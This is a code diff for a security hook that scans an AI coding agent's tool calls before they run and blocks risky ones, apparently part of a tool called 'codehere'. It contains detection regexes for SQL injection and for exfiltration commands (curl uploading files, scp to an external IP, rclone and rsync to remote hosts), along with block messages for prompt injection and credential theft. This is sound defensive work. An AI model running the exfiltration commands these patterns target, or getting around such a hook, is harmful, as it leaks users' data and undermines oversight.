326
|
+
regex: /SELECT\s+\*?\s+FROM\s+\w+\s+WHERE.*['"]\s*\+|query\s*\+\s*user/i,
|
|
327
|
+
severity: 'critical',
|
|
328
|
+
category: 'OWASP',
|
|
329
|
+
description: 'SQL injection pattern',
|
|
330
|
+
},
|
|
75
331
|
// Data Exfiltration
|
|
76
|
-
{
|
|
77
|
-
|
|
78
|
-
|
|
332
|
+
{
|
|
333
|
+
regex: /curl\s+.*-d\s+@\/|curl\s+.*--data-binary\s+@\//i,
|
|
334
|
+
severity: 'high',
|
|
335
|
+
category: 'Data Exfiltration',
|
|
336
|
+
description: 'File upload via curl',
|
|
337
|
+
},
|
|
338
|
+
{
|
|
339
|
+
regex: /scp\s+.*@\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/i,
|
|
340
|
+
severity: 'high',
|
|
341
|
+
category: 'Data Exfiltration',
|
|
342
|
+
description: 'SCP to external IP',
|
|
343
|
+
},
|
|
344
|
+
{
|
|
345
|
+
regex: /rclone\s+copy|rsync\s+-av?[rpz]+\s+\/\w+.*@/i,
|
|
346
|
+
severity: 'medium',
|
|
347
|
+
category: 'Data Exfiltration',
|
|
348
|
+
description: 'Mass file sync to remote',
|
|
349
|
+
},
|
|
79
350
|
];
|
|
80
351
|
// ── Risk scoring ────────────────────────────────────────────────────────────
|
|
81
352
|
const SEVERITY_SCORES = {
|
|
@@ -112,16 +383,17 @@ export function calculateRiskScore(findings) {
|
|
|
112
383
|
return Math.min(100, score);
|
|
113
384
|
}
|
|
114
385
|
// ── Audit log ───────────────────────────────────────────────────────────────
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
}
|
|
121
|
-
}
|
|
386
|
+
/**
|
|
387
|
+
* Audit log path — defaults to ~/.codehere/audit/hook-events.jsonl.
|
|
388
|
+
* Override at process start with CODEHERE_AUDIT_FILE env var (used by tests, optional for users).
|
|
389
|
+
*/
|
|
390
|
+
export const AUDIT_FILE = process.env.CODEHERE_AUDIT_FILE || join(homedir(), '.codehere', 'audit', 'hook-events.jsonl');
|
|
122
391
|
export function appendAuditLog(entry) {
|
|
123
392
|
try {
|
|
124
|
-
|
|
393
|
+
const dir = AUDIT_FILE.substring(0, AUDIT_FILE.lastIndexOf('/'));
|
|
394
|
+
if (dir && !existsSync(dir)) {
|
|
395
|
+
mkdirSync(dir, { recursive: true });
|
|
396
|
+
}
|
|
125
397
|
appendFileSync(AUDIT_FILE, JSON.stringify(entry) + '\n');
|
|
126
398
|
}
|
|
127
399
|
catch {
|
|
@@ -145,10 +417,14 @@ export function appendAuditLog(entry) {
|
|
|
145
417
|
* not execution — strip the search term so pattern strings in args don't
|
|
146
418
|
* trigger the scanner.
|
|
147
419
|
*
|
|
148
|
-
* Write / Edit / MultiEdit: the content is
|
|
149
|
-
*
|
|
150
|
-
*
|
|
151
|
-
*
|
|
420
|
+
* Write / Edit / MultiEdit: the content is DATA being written to disk, not
|
|
421
|
+
* a command being executed. Only scan the file path (destination) — that's
|
|
422
|
+
* enough to catch writes to sensitive files (~/.ssh/id_rsa, ~/.aws/credentials).
|
|
423
|
+
* Do NOT scan content: it produces false positives on legitimate source code
|
|
424
|
+
* that mentions attack-shaped strings (i18n with "system prompt", README docs
|
|
425
|
+
* describing what we block, LLM-prompt-engineering code, security tests).
|
|
426
|
+
* The Bash surface is the right place to catch prompt-injection / code-injection
|
|
427
|
+
* patterns; Edit-time content is data, not execution intent.
|
|
152
428
|
*/
|
|
153
429
|
function buildScanPayload(toolName, toolInput) {
|
|
154
430
|
if (toolName === 'Bash') {
|
|
@@ -166,11 +442,11 @@ function buildScanPayload(toolName, toolInput) {
|
|
|
166
442
|
return JSON.stringify({ file_path: toolInput.file_path ?? '' });
|
|
167
443
|
}
|
|
168
444
|
if (toolName === 'Edit') {
|
|
169
|
-
//
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
});
|
|
445
|
+
// Same model as Write: scan only the destination. The old_string is
|
|
446
|
+
// EXISTING file content (data), not execution intent — scanning it
|
|
447
|
+
// produced false positives on legitimate edits to files containing
|
|
448
|
+
// attack-shaped strings (e.g. i18n.js with a "system prompt" key).
|
|
449
|
+
return JSON.stringify({ file_path: toolInput.file_path ?? '' });
|
|
174
450
|
}
|
|
175
451
|
if (toolName === 'MultiEdit') {
|
|
176
452
|
// Scan file paths only
|
|
@@ -181,7 +457,7 @@ function buildScanPayload(toolName, toolInput) {
|
|
|
181
457
|
return JSON.stringify(toolInput);
|
|
182
458
|
}
|
|
183
459
|
export function processHookEvent(event) {
|
|
184
|
-
const { hook_event_name, tool_name = 'unknown', tool_input = {}, session_id = 'unknown'
|
|
460
|
+
const { hook_event_name, tool_name = 'unknown', tool_input = {}, session_id = 'unknown' } = event;
|
|
185
461
|
// Only intercept PreToolUse events
|
|
186
462
|
if (hook_event_name !== 'PreToolUse') {
|
|
187
463
|
return null;
|
|
@@ -191,7 +467,7 @@ export function processHookEvent(event) {
|
|
|
191
467
|
// Layer 0 scan — local, no API, ~2ms
|
|
192
468
|
const findings = scanPayload(payload);
|
|
193
469
|
const riskScore = calculateRiskScore(findings);
|
|
194
|
-
const criticalFindings = findings.filter(f => f.severity === 'critical');
|
|
470
|
+
const criticalFindings = findings.filter((f) => f.severity === 'critical');
|
|
195
471
|
// Blocking threshold: critical finding OR risk score too high
|
|
196
472
|
const blocked = criticalFindings.length > 0 || riskScore >= 60;
|
|
197
473
|
// Build audit entry
|
|
@@ -213,12 +489,12 @@ export function processHookEvent(event) {
|
|
|
213
489
|
const topFinding = criticalFindings[0] ?? findings[0];
|
|
214
490
|
const categoryVoice = {
|
|
215
491
|
'Prompt Injection': 'Caught a prompt injection attempt',
|
|
216
|
-
'Credential Theft':
|
|
217
|
-
|
|
492
|
+
'Credential Theft': "Stopped — this looks like it's trying to access credentials",
|
|
493
|
+
Destructive: 'Stopped — this could delete or destroy data',
|
|
218
494
|
'Code Injection': 'Blocked — this pattern looks like code injection',
|
|
219
495
|
'Supply Chain': 'Blocked — suspicious package or dependency pattern',
|
|
220
|
-
|
|
221
|
-
'Data Exfiltration':
|
|
496
|
+
OWASP: 'Blocked — security misconfiguration pattern',
|
|
497
|
+
'Data Exfiltration': "Blocked — this looks like it's trying to send data out",
|
|
222
498
|
};
|
|
223
499
|
const reason = topFinding
|
|
224
500
|
? `[codehere] ${categoryVoice[topFinding.category] ?? 'Blocked'} — ${topFinding.description}. (matched: "${topFinding.matched}")`
|
|
@@ -76,11 +76,13 @@ export class ExecutionTracer {
|
|
|
76
76
|
duration: operation.duration,
|
|
77
77
|
input: this.sanitizeInput(operation.input),
|
|
78
78
|
output: this.sanitizeOutput(operation.output),
|
|
79
|
-
error: operation.error
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
79
|
+
error: operation.error
|
|
80
|
+
? {
|
|
81
|
+
message: operation.error.message,
|
|
82
|
+
stack: operation.error.stack,
|
|
83
|
+
code: operation.error.code,
|
|
84
|
+
}
|
|
85
|
+
: undefined,
|
|
84
86
|
metadata: operation.metadata,
|
|
85
87
|
};
|
|
86
88
|
this.currentRun.traces.push(trace);
|
|
@@ -191,7 +193,10 @@ export class ExecutionTracer {
|
|
|
191
193
|
// Limit size and remove sensitive fields
|
|
192
194
|
const sanitized = JSON.parse(JSON.stringify(input, (key, value) => {
|
|
193
195
|
// Remove API keys and secrets
|
|
194
|
-
if (typeof key === 'string' &&
|
|
196
|
+
if (typeof key === 'string' &&
|
|
197
|
+
(key.toLowerCase().includes('key') ||
|
|
198
|
+
key.toLowerCase().includes('secret') ||
|
|
199
|
+
key.toLowerCase().includes('password'))) {
|
|
195
200
|
return '[REDACTED]';
|
|
196
201
|
}
|
|
197
202
|
// Limit string length
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* AgentAdapter — F2 foundation.
|
|
3
|
+
*
|
|
4
|
+
* Uniform interface over every AI coding agent codehere can spawn and manage.
|
|
5
|
+
* One adapter per backend: ClaudeCodeAdapter, CodexAdapter, AiderAdapter, …
|
|
6
|
+
*
|
|
7
|
+
* The interface intentionally carries **optional fields for later PM-UX layers**
|
|
8
|
+
* so we don't force a breaking change when v0.4/v0.5 ship progress roll-up,
|
|
9
|
+
* final report, intervention, and project scope. Unused today, ignored by the
|
|
10
|
+
* current renderer. See memory/project_manager_ux_v1.md for the full shape.
|
|
11
|
+
*/
|
|
12
|
+
export {};
|
|
13
|
+
//# sourceMappingURL=agent-adapter.js.map
|